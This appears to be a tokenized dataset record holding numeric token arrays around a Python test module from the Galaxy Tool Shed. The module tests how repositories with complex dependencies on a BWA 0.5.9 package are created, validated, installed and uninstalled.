32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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estCase, common, os bwa_base_repository_name = 'bwa_base_repository_0100' bwa_base_repository_description = "BWA Base" bwa_base_repository_long_description = "BWA tool that depends on bwa 0.5.9, with a complex repository dependency pointing at package_bwa_0_5_9_0100" bwa_package_repository_name = 'package_bwa_0_5_9_0100' bwa_package_repository_description = "BWA Package" bwa_package_repository_long_description = "BWA repository with a package tool dependency defined to compile and install BWA 0.5.9." category_name = 'Test 0100 Complex Repository Dependencies' category_description = 'Test 0100 Complex Repository Dependencies' running_standalone = False class TestInstallingComplexRepositoryDependencies( ShedTwillTestCase ): '''Test features related to installing repositories with complex repository dependencies.''' def test_0000_initiate_users( self ): """Create necessary user accounts.""" self.logout() self.login( email=common.test_user_1_email, username=common.test_user_1_name ) test_user_1 = self.test_db_util.get_user( common.test_user_1_email ) assert test_user_1 is not None, 'Problem retrieving user with email %s from the database' % test_user_1_email test_user_1_private_role = self.test_db_util.get_private_role( test_user_1 ) self.logout() self.login( email=common.admin_email, username=common.admin_username ) admin_user = self.test_db_util.get_user( common.admin_email ) assert admin_user is not None, 'Problem retrieving user with email %s from the database' % admin_email admin_user_private_role = self.test_db_util.get_private_role( admin_user ) def test_0005_create_bwa_package_repository( self ): '''Create and populate package_bwa_0_5_9_0100.''' global running_standalone category = self.create_category( name=category_name, description=category_description ) self.logout() self.login( email=common.test_user_1_email, username=common.test_user_1_name ) repository = self.get_or_create_repository( name=bwa_package_repository_name, description=bwa_package_repository_description, long_description=bwa_package_repository_long_description, owner=common.test_user_1_name, category_id=self.security.encode_id( category.id ), strings_displayed=[] ) if self.repository_is_new( repository ): running_standalone = True old_tool_dependency = self.get_filename( os.path.join( 'bwa', 'complex', 'tool_dependencies.xml' ) ) new_tool_dependency_path = self.generate_temp_path( 'test_1100', additional_paths=[ 'tool_dependency' ] ) xml_filename = os.path.abspath( os.path.join( new_tool_dependency_path, 'tool_dependencies.xml' ) ) file( xml_filename, 'w' ).write( file( old_tool_dependency, 'r' ) .read().replace( '__PATH__', self.get_filename( 'bwa/complex' ) ) ) self.upload_file( repository, filename=xml_filename, filepath=new_tool_dependency_path, valid_tools_only=True, uncompress_file=False, remove_repo_files_not_in_tar=False, commit_message='Uploaded tool_dependencies.xml.', strings_displayed=[ 'This repository currently contains a single file named <b>tool_dependencies.xml</b>' ], strings_not_displayed=[] ) self.display_manage_repository_page( repository, strings_displayed=[ 'Tool dependencies', 'consider setting its type' ] ) def test_0010_create_bwa_base_repository( self ): '''Create and populate bwa_base_0100.''' global running_standalone if running_standalone: category = self.create_category( name=category_name, description=category_description ) self.logout() self.login( email=common.test_user_1_email, username=common.test_user_1_name ) repository = self.get_or_create_repository( name=bwa_base_repository_name, description=bwa_base_repository_description, long_description=bwa_base_repository_long_description, owner=common.test_user_1_name, category_id=self.security.encode_id( category.id ), strings_displayed=[] ) tool_repository = self.test_db_util.get_repository_by_name_and_owner( bwa_package_repository_name, common.test_user_1_name ) self.upload_file( repository, filename='bwa/complex/bwa_base.tar', filepath=None, valid_tools_only=True, uncompress_file=True, remove_repo_files_not_in_tar=False, commit_message='Uploaded bwa_base.tar with tool wrapper XML, but without tool dependency XML.', strings_displayed=[], strings_not_displayed=[] ) def test_0015_generate_complex_repository_dependency_invalid_shed_url( self ): '''Generate and upload a complex repository definition that specifies an invalid tool shed URL.''' global running_standalone if running_standalone: dependency_path = self.generate_temp_path( 'test_0100', additional_paths=[ 'complex', 'shed' ] ) xml_filename = self.get_filename( 'tool_dependencies.xml', filepath=dependency_path ) base_repository = self.test_db_util.get_repository_by_name_and_owner( bwa_base_repository_name, common.test_user_1_name ) tool_repository = self.test_db_util.get_repository_by_name_and_owner( bwa_package_repository_name, common.test_user_1_name ) url = 'http://http://this is not an url!' name = tool_repository.name owner = tool_repository.user.username changeset_revision = self.get_repository_tip( tool_repository ) strings_displayed = [ 'Repository dependencies are currently supported only within the same tool shed' ] repository_tuple = ( url, name, owner, changeset_revision ) self.create_repository_dependency( repository=base_repository, filepath=dependency_path, repository_tuples=[ repository_tuple ], strings_displayed=strings_displayed, complex=True, package='bwa', version='0.5.9' ) def test_0020_generate_complex_repository_dependency_invalid_repository_name( self ): '''Generate and upload a complex repository definition that specifies an invalid repository name.''' global running_standalone if running_standalone: dependency_path = self.generate_temp_path( 'test_0100', additional_paths=[ 'complex', 'shed' ] ) xml_filename = self.get_filename( 'tool_dependencies.xml', filepath=dependency_path ) base_repository = self.test_db_util.get_repository_by_name_and_owner( bwa_base_repository_name, common.test_user_1_name ) tool_repository = self.test_db_util.get_repository_by_name_and_owner( bwa_package_repository_name, common.test_user_1_name ) url = self.url name = 'invalid_repository!?' owner = tool_repository.user.username changeset_revision = self.get_repository_tip( tool_repository ) strings_displayed = [ 'because the name is invalid.' ] repository_tuple = ( url, name, owner, changeset_revision ) self.create_repository_dependency( repository=base_repository, filepath=dependency_path, repository_tuples=[ repository_tuple ], strings_displayed=strings_displayed, complex=True, package='bwa', version='0.5.9' ) def test_0025_generate_complex_repository_dependency_invalid_owner_name( self ): '''Generate and upload a complex repository definition that specifies an invalid owner.''' global running_standalone if running_standalone: dependency_path = self.generate_temp_path( 'test_0100', additional_paths=[ 'complex', 'shed' ] ) xml_filename = self.get_filename( 'tool_dependencies.xml', filepath=dependency_path ) base_repository = self.test_db_util.get_repository_by_name_and_owner( bwa_base_repository_name, common.test_user_1_name ) tool_repository = self.test_db_util.get_repository_by_name_and_owner( bwa_package_repository_name, common.test_user_1_name ) url = self.url name = tool_repository.name owner = 'invalid_owner!?' changeset_revision = self.get_repository_tip( tool_repository ) strings_displayed = [ 'because the owner is invalid.' ] repository_tuple = ( url, name, owner, changeset_revision ) self.create_repository_dependency( repository=base_repository, filepath=dependency_path, repository_tuples=[ repository_tuple ], strings_displayed=strings_displayed, complex=True, package='bwa', version='0.5.9' ) def test_0030_generate_complex_repository_dependency_invalid_changeset_revision( self ): '''Generate and upload a complex repository definition that specifies an invalid changeset revision.''' global running_standalone if running_standalone: dependency_path = self.generate_temp_path( 'test_0100', additional_paths=[ 'complex', 'shed' ] ) xml_filename = self.get_filename( 'tool_dependencies.xml', filepath=dependency_path ) base_repository = self.test_db_util.get_repository_by_name_and_owner( bwa_base_repository_name, common.test_user_1_name ) tool_repository = self.test_db_util.get_repository_by_name_and_owner( bwa_package_repository_name, common.test_user_1_name ) url = self.url name = tool_repository.name owner = tool_repository.user.username changeset_revision = '1234abcd' strings_displayed = [ 'because the changeset revision is invalid.' ] repository_tuple = ( url, name, owner, changeset_revision ) self.create_repository_dependency( repository=base_repository, filepath=dependency_path, repository_tuples=[ repository_tuple ], strings_displayed=strings_displayed, complex=True, package='bwa', version='0.5.9' ) def test_0035_generate_valid_complex_repository_dependency( self ): '''Generate and upload a valid tool_dependencies.xml file that specifies package_bwa_0_5_9_0100.''' global running_standalone if running_standalone: base_repository = self.test_db_util.get_repository_by_name_and_owner( bwa_base_repository_name, common.test_user_1_name ) tool_repository = self.test_db_util.get_repository_by_name_and_owner( bwa_package_repository_name, common.test_user_1_name ) dependency_path = self.generate_temp_path( 'test_0100', additional_paths=[ 'complex' ] ) xml_filename = self.get_filename( 'tool_dependencies.xml', filepath=dependency_path ) url = self.url name = tool_repository.name owner = tool_repository.user.username changeset_revision = self.get_repository_tip( tool_repository ) repository_tuple = ( url, name, owner, changeset_revision ) self.create_repository_dependency( repository=base_repository, filepath=dependency_path, repository_tuples=[ repository_tuple ], complex=True, package='bwa', version='0.5.9' ) self.check_repository_dependency( base_repository, tool_repository ) self.display_manage_repository_page( base_repository, strings_displayed=[ 'bwa', '0.5.9', 'package' ] ) def test_0040_update_tool_repository( self ): '''Upload a new tool_dependencies.xml to the tool repository, and verify that the base repository displays the new changeset.''' global running_standalone if running_standalone: base_repository = self.test_db_util.get_repository_by_name_and_owner( bwa_base_repository_name, common.test_user_1_name ) tool_repository = self.test_db_util.get_repository_by_name_and_owner( bwa_package_repository_name, common.test_user_1_name ) previous_changeset = self.get_repository_tip( tool_repository ) old_tool_dependency = self.get_filename( os.path.join( 'bwa', 'complex', 'readme', 'tool_dependencies.xml' ) ) new_tool_dependency_path = self.generate_temp_path( 'test_1100', additional_paths=[ 'tool_dependency' ] ) xml_filename = os.path.abspath( os.path.join( new_tool_dependency_path, 'tool_dependencies.xml' ) ) file( xml_filename, 'w' ).write( file( old_tool_dependency, 'r' ) .read().replace( '__PATH__', self.get_filename( 'bwa/complex' ) ) ) self.upload_file( tool_repository, filename=xml_filename, filepath=new_tool_dependency_path, valid_tools_only=True, uncompress_file=False, remove_repo_files_not_in_tar=False, commit_message='Uploaded new tool_dependencies.xml.', strings_displayed=[], strings_not_displayed=[] ) # Verify that the dependency display has been updated as a result of the new tool_dependencies.xml file. self.display_manage_repository_page( base_repository, strings_displayed=[ self.get_repository_tip( tool_repository ), 'bwa', '0.5.9', 'package' ], strings_not_displayed=[ previous_changeset ] ) def test_0045_install_base_repository( self ): '''Verify installation of the repository with complex repository dependencies.''' self.galaxy_logout() self.galaxy_login( email=common.admin_email, username=common.admin_username ) base_repository = self.test_db_util.get_repository_by_name_and_owner( bwa_base_repository_name, common.test_user_1_name ) tool_repository = self.test_db_util.get_repository_by_name_and_owner( bwa_package_repository_name, common.test_user_1_name ) preview_strings_displayed = [ tool_repository.name, self.get_repository_tip( tool_repository ) ] self.install_repository( bwa_base_repository_name, common.test_user_1_name, category_name, install_tool_dependencies=True, preview_strings_displayed=preview_strings_displayed, post_submit_strings_displayed=[ base_repository.name, tool_repository.name, 'New' ], includes_tools_for_display_in_tool_panel=True ) def test_0050_verify_installed_repositories( self ): '''Verify that the installed repositories are displayed properly.''' base_repository = self.test_db_util.get_installed_repository_by_name_owner( bwa_base_repository_name, common.test_user_1_name ) tool_repository = self.test_db_util.get_installed_repository_by_name_owner( bwa_package_repository_name, common.test_user_1_name ) strings_displayed = [ 'bwa_base_repository_0100', 'user1', base_repository.installed_changeset_revision ] strings_displayed.extend( [ 'package_bwa_0_5_9_0100', 'user1', tool_repository.installed_changeset_revision ] ) strings_displayed.append( self.url.replace( 'http://', '' ) ) self.display_galaxy_browse_repositories_page( strings_displayed=strings_displayed, strings_not_displayed=[] ) strings_displayed = [ 'package_bwa_0_5_9_0100', 'user1', tool_repository.installed_changeset_revision ] strings_not_displayed = [ 'Missing tool dependencies' ] self.display_installed_repository_manage_page( tool_repository, strings_displayed=strings_displayed, strings_not_displayed=strings_not_displayed ) strings_displayed = [ 'bwa_base_repository_0100', 'user1', 'package_bwa_0_5_9_0100', base_repository.installed_changeset_revision, tool_repository.installed_changeset_revision ] strings_not_displayed = [ 'Missing tool dependencies' ] self.display_installed_repository_manage_page( base_repository, strings_displayed=strings_displayed, strings_not_displayed=strings_not_displayed ) def test_0055_verify_complex_tool_dependency( self ): '''Verify that the generated env.sh contains the right data.''' base_repository = self.test_db_util.get_installed_repository_by_name_owner( bwa_base_repository_name, common.test_user_1_name ) tool_repository = self.test_db_util.get_installed_repository_by_name_owner( bwa_package_repository_name, common.test_user_1_name ) env_sh_path = self.get_env_sh_path( tool_dependency_name='bwa', tool_dependency_version='0.5.9', repository=base_repository ) assert os.path.exists( env_sh_path ), 'env.sh was not generated in %s for this dependency.' % env_sh_path contents = file( env_sh_path, 'r' ).read() if tool_repository.installed_changeset_revision not in contents: raise AssertionError( 'Installed changeset revision %s not found in env.sh.\nContents of env.sh: %s' % \ ( tool_repository.installed_changeset_revision, contents ) ) if 'package_bwa_0_5_9_0100' not in contents: raise AssertionError( 'Repository name package_bwa_0_5_9_0100 not found in env.sh.\nContents of env.sh: %s' % contents ) def test_0060_verify_tool_dependency_uninstallation( self ): '''Uninstall the package_bwa_0_5_9_0100 repository.''' ''' Uninstall the repository that defines a tool dependency relationship on BWA 0.5.9, and verify that this results in the compiled binary package also being removed. ''' base_repository = self.test_db_util.get_installed_repository_by_name_owner( bwa_base_repository_name, common.test_user_1_name ) tool_repository = self.test_db_util.get_installed_repository_by_name_owner( bwa_package_repository_name, common.test_user_1_name ) self.deactivate_repository( tool_repository ) env_sh_path = os.path.join( self.galaxy_tool_dependency_dir, 'bwa', '0.5.9', tool_repository.owner, tool_repository.name, tool_repository.installed_changeset_revision, 'env.sh' ) assert os.path.exists( env_sh_path ), 'Path %s does not exist after deactivating the repository that generated it.' % env_sh_path
gpl-3.0
[ 504, 4744, 63, 609, 379, 14, 1095, 14, 8122, 778, 10847, 492, 5244, 379, 52, 14117, 1746, 12, 2863, 12, 747, 199, 66, 758, 63, 1095, 63, 8421, 63, 354, 275, 283, 66, 758, 63, 1095, 63, 8421, 63, 16569, 7, 199, 66, 758, 63, 1095, 63, 8421, 63, 1802, 275, 298, 34, 9004, 3523, 2, 199, 66, 758, 63, 1095, 63, 8421, 63, 2809, 63, 1802, 275, 298, 34, 9004, 4744, 626, 8350, 641, 330, 758, 378, 14, 21, 14, 25, 12, 543, 282, 6114, 7611, 5936, 20686, 737, 2559, 63, 66, 758, 63, 16, 63, 21, 63, 25, 63, 16569, 2, 199, 199, 66, 758, 63, 2491, 63, 8421, 63, 354, 275, 283, 2491, 63, 66, 758, 63, 16, 63, 21, 63, 25, 63, 16569, 7, 199, 66, 758, 63, 2491, 63, 8421, 63, 1802, 275, 298, 34, 9004, 15665, 2, 199, 66, 758, 63, 2491, 63, 8421, 63, 2809, 63, 1802, 275, 298, 34, 9004, 7611, 543, 282, 2559, 4744, 5936, 3247, 370, 6555, 436, 3907, 699, 9004, 378, 14, 21, 14, 25, 2122, 199, 199, 3710, 63, 354, 275, 283, 774, 378, 1960, 19178, 24426, 1487, 3209, 7, 199, 3710, 63, 1802, 275, 283, 774, 378, 1960, 19178, 24426, 1487, 3209, 7, 199, 5720, 63, 20323, 275, 756, 199, 199, 533, 1379, 31376, 14500, 15614, 11927, 8, 5244, 379, 52, 14117, 1746, 3461, 272, 1449, 774, 4534, 4048, 370, 22200, 23737, 543, 6114, 7611, 5124, 10595, 339, 347, 511, 63, 993, 63, 14188, 323, 63, 3707, 8, 291, 3461, 267, 408, 2499, 5784, 922, 12639, 1041, 267, 291, 14, 11646, 342, 267, 291, 14, 2886, 8, 3031, 29, 2330, 14, 396, 63, 751, 63, 17, 63, 2123, 12, 3434, 29, 2330, 14, 396, 63, 751, 63, 17, 63, 354, 776, 267, 511, 63, 751, 63, 17, 275, 291, 14, 396, 63, 697, 63, 1974, 14, 362, 63, 751, 8, 2863, 14, 396, 63, 751, 63, 17, 63, 2123, 776, 267, 702, 511, 63, 751, 63, 17, 365, 440, 488, 12, 283, 16467, 23812, 922, 543, 3031, 450, 83, 687, 314, 3050, 7, 450, 511, 63, 751, 63, 17, 63, 2123, 267, 511, 63, 751, 63, 17, 63, 4239, 63, 3756, 275, 291, 14, 396, 63, 697, 63, 1974, 14, 362, 63, 4239, 63, 3756, 8, 511, 63, 751, 63, 17, 776, 267, 291, 14, 11646, 342, 267, 291, 14, 2886, 8, 3031, 29, 2330, 14, 2113, 63, 2123, 12, 3434, 29, 2330, 14, 2113, 63, 2473, 776, 267, 4628, 63, 751, 275, 291, 14, 396, 63, 697, 63, 1974, 14, 362, 63, 751, 8, 2863, 14, 2113, 63, 2123, 776, 267, 702, 4628, 63, 751, 365, 440, 488, 12, 283, 16467, 23812, 922, 543, 3031, 450, 83, 687, 314, 3050, 7, 450, 4628, 63, 2123, 267, 4628, 63, 751, 63, 4239, 63, 3756, 275, 291, 14, 396, 63, 697, 63, 1974, 14, 362, 63, 4239, 63, 3756, 8, 4628, 63, 751, 776, 339, 347, 511, 63, 15646, 63, 981, 63, 66, 758, 63, 2491, 63, 8421, 8, 291, 3461, 267, 1449, 2499, 436, 13904, 2559, 63, 66, 758, 63, 16, 63, 21, 63, 25, 63, 16569, 10595, 267, 2288, 3879, 63, 20323, 267, 4637, 275, 291, 14, 981, 63, 3710, 8, 536, 29, 3710, 63, 354, 12, 1369, 29, 3710, 63, 1802, 776, 267, 291, 14, 11646, 342, 267, 291, 14, 2886, 8, 3031, 29, 2330, 14, 396, 63, 751, 63, 17, 63, 2123, 12, 3434, 29, 2330, 14, 396, 63, 751, 63, 17, 63, 354, 776, 267, 7611, 275, 291, 14, 362, 63, 269, 63, 981, 63, 8421, 8, 536, 29, 66, 758, 63, 2491, 63, 8421, 63, 354, 12, 221, 8105, 1369, 29, 66, 758, 63, 2491, 63, 8421, 63, 1802, 12, 221, 8105, 1846, 63, 1802, 29, 66, 758, 63, 2491, 63, 8421, 63, 2809, 63, 1802, 12, 221, 8105, 5771, 29, 2330, 14, 396, 63, 751, 63, 17, 63, 354, 12, 8105, 4637, 63, 344, 29, 277, 14, 4416, 14, 2143, 63, 344, 8, 4637, 14, 344, 2318, 221, 8105, 3326, 63, 22283, 9811, 776, 267, 340, 291, 14, 8421, 63, 374, 63, 1222, 8, 7611, 3461, 288, 3879, 63, 20323, 275, 715, 288, 2269, 63, 3557, 63, 8575, 275, 291, 14, 362, 63, 1501, 8, 747, 14, 515, 14, 904, 8, 283, 66, 758, 297, 283, 5254, 297, 283, 3557, 63, 5714, 14, 1652, 7, 776, 776, 288, 892, 63, 3557, 63, 8575, 63, 515, 275, 291, 14, 4208, 63, 808, 63, 515, 8, 283, 396, 63, 26451, 297, 4722, 63, 3771, 1524, 283, 3557, 63, 8575, 7, 1622, 776, 288, 2748, 63, 1501, 275, 747, 14, 515, 14, 4832, 8, 747, 14, 515, 14, 904, 8, 892, 63, 3557, 63, 8575, 63, 515, 12, 283, 3557, 63, 5714, 14, 1652, 7, 776, 776, 288, 570, 8, 2748, 63, 1501, 12, 283, 87, 7, 7092, 952, 8, 570, 8, 2269, 63, 3557, 63, 8575, 12, 283, 82, 7, 776, 3660, 1275, 739, 1252, 1814, 8, 2560, 3243, 7500, 291, 14, 362, 63, 1501, 8, 283, 66, 758, 15, 5254, 7, 776, 776, 776, 288, 291, 14, 5064, 63, 493, 8, 7611, 12, 221, 2892, 1788, 29, 1652, 63, 1501, 12, 2892, 9911, 29, 1222, 63, 3557, 63, 8575, 63, 515, 12, 2892, 1686, 63, 2537, 63, 2118, 29, 549, 12, 2892, 625, 6447, 63, 493, 29, 797, 12, 2892, 2813, 63, 3417, 63, 1725, 63, 1397, 63, 262, 63, 5369, 29, 797, 12, 221, 2892, 5532, 63, 1188, 534, 21145, 4744, 63, 5714, 14, 1652, 3130, 2892, 3326, 63, 22283, 1524, 283, 2765, 7611, 5544, 3509, 282, 2849, 570, 4310, 665, 66, 30, 3557, 63, 5714, 14, 1652, 1108, 66, 3524, 2156, 221, 2892, 3326, 63, 1397, 63, 22283, 9811, 776, 288, 291, 14, 2918, 63, 9053, 63, 8421, 63, 1606, 8, 7611, 12, 3326, 63, 22283, 1524, 283, 5157, 5124, 297, 283, 388, 16994, 4260, 2399, 730, 7, 1622, 776, 339, 347, 511, 63, 17657, 63, 981, 63, 66, 758, 63, 1095, 63, 8421, 8, 291, 3461, 267, 1449, 2499, 436, 13904, 330, 758, 63, 1095, 63, 16569, 10595, 267, 2288, 3879, 63, 20323, 267, 340, 3879, 63, 20323, 26, 288, 4637, 275, 291 ]
[ 4744, 63, 609, 379, 14, 1095, 14, 8122, 778, 10847, 492, 5244, 379, 52, 14117, 1746, 12, 2863, 12, 747, 199, 66, 758, 63, 1095, 63, 8421, 63, 354, 275, 283, 66, 758, 63, 1095, 63, 8421, 63, 16569, 7, 199, 66, 758, 63, 1095, 63, 8421, 63, 1802, 275, 298, 34, 9004, 3523, 2, 199, 66, 758, 63, 1095, 63, 8421, 63, 2809, 63, 1802, 275, 298, 34, 9004, 4744, 626, 8350, 641, 330, 758, 378, 14, 21, 14, 25, 12, 543, 282, 6114, 7611, 5936, 20686, 737, 2559, 63, 66, 758, 63, 16, 63, 21, 63, 25, 63, 16569, 2, 199, 199, 66, 758, 63, 2491, 63, 8421, 63, 354, 275, 283, 2491, 63, 66, 758, 63, 16, 63, 21, 63, 25, 63, 16569, 7, 199, 66, 758, 63, 2491, 63, 8421, 63, 1802, 275, 298, 34, 9004, 15665, 2, 199, 66, 758, 63, 2491, 63, 8421, 63, 2809, 63, 1802, 275, 298, 34, 9004, 7611, 543, 282, 2559, 4744, 5936, 3247, 370, 6555, 436, 3907, 699, 9004, 378, 14, 21, 14, 25, 2122, 199, 199, 3710, 63, 354, 275, 283, 774, 378, 1960, 19178, 24426, 1487, 3209, 7, 199, 3710, 63, 1802, 275, 283, 774, 378, 1960, 19178, 24426, 1487, 3209, 7, 199, 5720, 63, 20323, 275, 756, 199, 199, 533, 1379, 31376, 14500, 15614, 11927, 8, 5244, 379, 52, 14117, 1746, 3461, 272, 1449, 774, 4534, 4048, 370, 22200, 23737, 543, 6114, 7611, 5124, 10595, 339, 347, 511, 63, 993, 63, 14188, 323, 63, 3707, 8, 291, 3461, 267, 408, 2499, 5784, 922, 12639, 1041, 267, 291, 14, 11646, 342, 267, 291, 14, 2886, 8, 3031, 29, 2330, 14, 396, 63, 751, 63, 17, 63, 2123, 12, 3434, 29, 2330, 14, 396, 63, 751, 63, 17, 63, 354, 776, 267, 511, 63, 751, 63, 17, 275, 291, 14, 396, 63, 697, 63, 1974, 14, 362, 63, 751, 8, 2863, 14, 396, 63, 751, 63, 17, 63, 2123, 776, 267, 702, 511, 63, 751, 63, 17, 365, 440, 488, 12, 283, 16467, 23812, 922, 543, 3031, 450, 83, 687, 314, 3050, 7, 450, 511, 63, 751, 63, 17, 63, 2123, 267, 511, 63, 751, 63, 17, 63, 4239, 63, 3756, 275, 291, 14, 396, 63, 697, 63, 1974, 14, 362, 63, 4239, 63, 3756, 8, 511, 63, 751, 63, 17, 776, 267, 291, 14, 11646, 342, 267, 291, 14, 2886, 8, 3031, 29, 2330, 14, 2113, 63, 2123, 12, 3434, 29, 2330, 14, 2113, 63, 2473, 776, 267, 4628, 63, 751, 275, 291, 14, 396, 63, 697, 63, 1974, 14, 362, 63, 751, 8, 2863, 14, 2113, 63, 2123, 776, 267, 702, 4628, 63, 751, 365, 440, 488, 12, 283, 16467, 23812, 922, 543, 3031, 450, 83, 687, 314, 3050, 7, 450, 4628, 63, 2123, 267, 4628, 63, 751, 63, 4239, 63, 3756, 275, 291, 14, 396, 63, 697, 63, 1974, 14, 362, 63, 4239, 63, 3756, 8, 4628, 63, 751, 776, 339, 347, 511, 63, 15646, 63, 981, 63, 66, 758, 63, 2491, 63, 8421, 8, 291, 3461, 267, 1449, 2499, 436, 13904, 2559, 63, 66, 758, 63, 16, 63, 21, 63, 25, 63, 16569, 10595, 267, 2288, 3879, 63, 20323, 267, 4637, 275, 291, 14, 981, 63, 3710, 8, 536, 29, 3710, 63, 354, 12, 1369, 29, 3710, 63, 1802, 776, 267, 291, 14, 11646, 342, 267, 291, 14, 2886, 8, 3031, 29, 2330, 14, 396, 63, 751, 63, 17, 63, 2123, 12, 3434, 29, 2330, 14, 396, 63, 751, 63, 17, 63, 354, 776, 267, 7611, 275, 291, 14, 362, 63, 269, 63, 981, 63, 8421, 8, 536, 29, 66, 758, 63, 2491, 63, 8421, 63, 354, 12, 221, 8105, 1369, 29, 66, 758, 63, 2491, 63, 8421, 63, 1802, 12, 221, 8105, 1846, 63, 1802, 29, 66, 758, 63, 2491, 63, 8421, 63, 2809, 63, 1802, 12, 221, 8105, 5771, 29, 2330, 14, 396, 63, 751, 63, 17, 63, 354, 12, 8105, 4637, 63, 344, 29, 277, 14, 4416, 14, 2143, 63, 344, 8, 4637, 14, 344, 2318, 221, 8105, 3326, 63, 22283, 9811, 776, 267, 340, 291, 14, 8421, 63, 374, 63, 1222, 8, 7611, 3461, 288, 3879, 63, 20323, 275, 715, 288, 2269, 63, 3557, 63, 8575, 275, 291, 14, 362, 63, 1501, 8, 747, 14, 515, 14, 904, 8, 283, 66, 758, 297, 283, 5254, 297, 283, 3557, 63, 5714, 14, 1652, 7, 776, 776, 288, 892, 63, 3557, 63, 8575, 63, 515, 275, 291, 14, 4208, 63, 808, 63, 515, 8, 283, 396, 63, 26451, 297, 4722, 63, 3771, 1524, 283, 3557, 63, 8575, 7, 1622, 776, 288, 2748, 63, 1501, 275, 747, 14, 515, 14, 4832, 8, 747, 14, 515, 14, 904, 8, 892, 63, 3557, 63, 8575, 63, 515, 12, 283, 3557, 63, 5714, 14, 1652, 7, 776, 776, 288, 570, 8, 2748, 63, 1501, 12, 283, 87, 7, 7092, 952, 8, 570, 8, 2269, 63, 3557, 63, 8575, 12, 283, 82, 7, 776, 3660, 1275, 739, 1252, 1814, 8, 2560, 3243, 7500, 291, 14, 362, 63, 1501, 8, 283, 66, 758, 15, 5254, 7, 776, 776, 776, 288, 291, 14, 5064, 63, 493, 8, 7611, 12, 221, 2892, 1788, 29, 1652, 63, 1501, 12, 2892, 9911, 29, 1222, 63, 3557, 63, 8575, 63, 515, 12, 2892, 1686, 63, 2537, 63, 2118, 29, 549, 12, 2892, 625, 6447, 